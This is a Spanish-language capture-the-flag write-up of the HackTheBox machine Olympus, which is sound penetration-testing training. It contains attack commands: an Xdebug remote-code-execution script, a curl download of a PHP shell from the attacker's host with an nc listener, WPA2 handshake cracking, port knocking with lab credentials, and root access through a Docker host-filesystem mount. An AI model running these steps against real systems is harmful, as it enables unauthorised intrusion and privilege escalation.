· Manuel López Pérez · writeups · 3 min read
WriteUp - Olympus (HackTheBox)
Write-up de Olympus (HackTheBox): máquina Linux media que explota Xdebug RCE para obtener shell inicial, crackea handshake WPA2 para credenciales SSH, usa port-knocking para acceder a puerto 2222, y escala a root montando host filesystem desde contenedor Docker.

En este post haremos la máquina Olympus de HackTheBox. Es una maquina Linux de un nivel medio y una de mis favoritas. Además aprovecho para agradecer el trabajo que le puso a esta maquina nuestro compañero de equipo @OscarAkaElvis Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de todos los puertos con nmap:
nmap -p- -T4 10.10.10.83 nmap -sC -sV -p22,53,80,2222 10.10.10.83
Parece que tenemos un DNS server en el puerto 53, por ahora no tenemos información o dominio al que acceder. Vamos a revisar la web:
Para enumerar posibles vulnerabilidades usaremos Nikto:
nikto -host http://10.10.10.83
Parece que tiene xdebug activado, que se usa para debuggear php durante el desarrollo del servidor, pero que no debe usarse en un servidor de producción. Googleamos sobre vulnerabilidades que esto puede causar y encontramos un repositorio con el que parece que podemos obtener shell: https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
Explotación
Vamos a explotarlo:
./xdebug-shell.py -u http://10.10.10.83 # Subimos una shell; desde la shell obtenida: curl -O http://miIp/shell.php # Ponemos la escucha y ejecutamos el php que acabamos de subir nc -lvp 1234 curl http://10.10.10.83/shell.php 
Post-Explotación
Una vez hemos entrado vemos que estamos en un docker, porque en la ruta / se encuentra un fichero .dockerenv En /home/zeus/airgeddon/captured encontramos un fichero .cap, vamos a pasarlo a nuestra maquina a ver si podemos crackearlo. 
Para crackear el fichero .cap vamos enseñar dos métodos: Método 1 - Aircrack
aircrack-ng -a2 -w /usr/share/wordlists/rockyou.txt captured.cap
Tras casi 8 minutos: 
Método 2 - Hashcat
# Convertimos el .cap en .hccapx con: https://hashcat.net/cap2hccapx/ hascat -m 2500 -a 0 captured.hccapx /wordlists/rockyou.txt
Tras un 1 y 7 segundos: 
Como veis Hashcat es bastante más rápido, pero bueno en ambos casos hemos obtenido: Too_cl0se_to_th3_Sun:flightoficarus Tras varias pruebas encontramos unas credenciales validas para el SSH del puerto 2222: icarus:Too_cl0se_to_th3_Sun
ssh icarus@10.10.10.83 -p 2222 
En /home/icarus/help_of_the_gods.txt leemos: 
Este fichero nos muestra un nombre de dominio, vamos a usar dnsrecon para obtener mas información:
dnsrecon -d ctfolympus.htb -n 10.10.10.83 La ejecución de este comando nos devuelve algo interesante: tres números enteros, un nombre de usuario y una contraseña; nada más ver los tres números pensamos en port knocking:
knock 10.10.10.83 3456 8234 62431 && ssh prometheus@10.10.10.83 #Password: St34l_th3_F1re! 
Parece que ya hemos salido de los dockers, además vemos que estamos en el grupo docker:
Ejecutando el LinEnum.sh o con el siguiente comando obtenemos información interesante de los docker:
docker --version 2>/dev/null; docker ps -a 2>/dev/nullTras buscar algo de información sobre como explotar esto, encontramos que podemos acceder como root:
docker run -v /:/root -i -t olympia /bin/bash

